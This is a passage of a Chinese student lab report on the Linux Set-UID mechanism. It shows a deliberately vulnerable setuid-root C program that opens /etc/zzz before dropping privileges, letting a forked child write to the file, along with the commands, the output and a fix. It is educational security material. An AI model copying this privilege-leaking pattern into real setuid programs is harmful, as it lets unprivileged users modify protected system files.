由以上四种情况可见:只有用户自己创建的程序自己去运行,才会使用LD_PRELOAD环境变量,重载sleep函数,否则的话忽略LD_PRELOAD环境变量,不会重载sleep函数
2.7 task 7
2.7.1 实验任务
为了更加安全,Set-UID程序通常会调用setuid()系统调用函数永久的清除它们的root权限。然而有些时候,这样做是远远不够的。编译接下来的这个程序,给这个程序设置root权限。在一个普通的用户下,运行这个程序
(1)描述你所观察到的情况,/etc/zzz
这个文件会被修改吗?请解释你的观察
2.7.2 实验流程
编辑lab1-7
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-7.c
源码
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void main()
{
int fd;
//Assume that /tmp/zzz is an important system file,
//and it is owned by root with permission 0644
fd = open("/etc/zzz", O_RDWR | O_APPEND);
// Simulate the tasks conducted by the program
sleep(1);
// After the task, the root privileges are no longer needed,
//it’s time to relinquish the root privileges permanently.
setuid(getuid()); // getuid() returns the real uid
if (fork())
{ // In the parent process
close (fd);
exit(0);
}
else
{ // in the child process
//Now, assume that the child process is compromised, malicious
//attackers have injected the following statements
//into this process
write (fd, "shiyanlou!", 10);
close (fd);
}
}
编译lab1-7.c
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-7.c -o lab1-7 -g
lab1-7.c: In function ‘main’:
lab1-7.c:13:3: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
sleep(1);
^~~~~
lab1-7.c:16:3: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
setuid(getuid()); // getuid() returns the real uid
^~~~~~
setenv
lab1-7.c:16:10: warning: implicit declaration of function ‘getuid’; did you mean ‘getenv’? [-Wimplicit-function-declaration]
setuid(getuid()); // getuid() returns the real uid
^~~~~~
getenv
lab1-7.c:17:7: warning: implicit declaration of function ‘fork’ [-Wimplicit-function-declaration]
if (fork())
^~~~
lab1-7.c:19:4: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
close (fd);
^~~~~
pclose
lab1-7.c:27:4: warning: implicit declaration of function ‘write’; did you mean ‘fwrite’? [-Wimplicit-function-declaration]
write (fd, "shiyanlou!", 10);
^~~~~
fwrite
并赋予setuid权限
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-7
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l lab1-7
-rwsr-xr-x 1 root root 12232 Mar 21 19:11 lab1-7
新建一个空白文件
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# touch /etc/zzz
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cat /etc/zzz
切换回普通用户后执行lab1-7应用程序
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-7
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cat /etc/zzz
shiyanlou
可以发现文件已经被修改了
2.7.3 问题回答
P1:
我们可以发现文件的内容已经被修改了。原因在于设置uid前,zzz文件就已经被打开了。因为应用程序还没根据现在用户的权限设置uid前,是一个SetUID程序,拥有root权限,可以把zzz文件打开。只要将语句setuid(getuid())移至调用open函数之前,就能避免这个问题
三、总结
通过本次几个简单的小实验,我从头到尾经历了一遍操作系统逻辑漏洞的利用过程,在此期间还学习了诸多Linux操作系统的使用方法和系统特性。总而言之,使得我对Linux的setuid机制有了更为深刻的理解,对信息安全的供给与防御有了直观的感受。不禁概叹到,尽管是发展了几十年的成熟操作系统依然存在这样那样的漏洞,网络安全就是国家安全,我国还没有完全拥有一套自己知识产权的民用系统,多半还是基于Linux操作内核,而操作系统作为底层基础架构,我国的网络安全依然遭受着巨大的威胁。
从这几个代码,我理解了要发现系统的漏洞,熟悉代码的逻辑是非常必要的,这提醒了我要成为一名良好的信息安全人员,首先得是一名优秀的开发者。信息安全普罗万象,我们只有做到比其他人更熟悉更深入,才能做到攻防自如。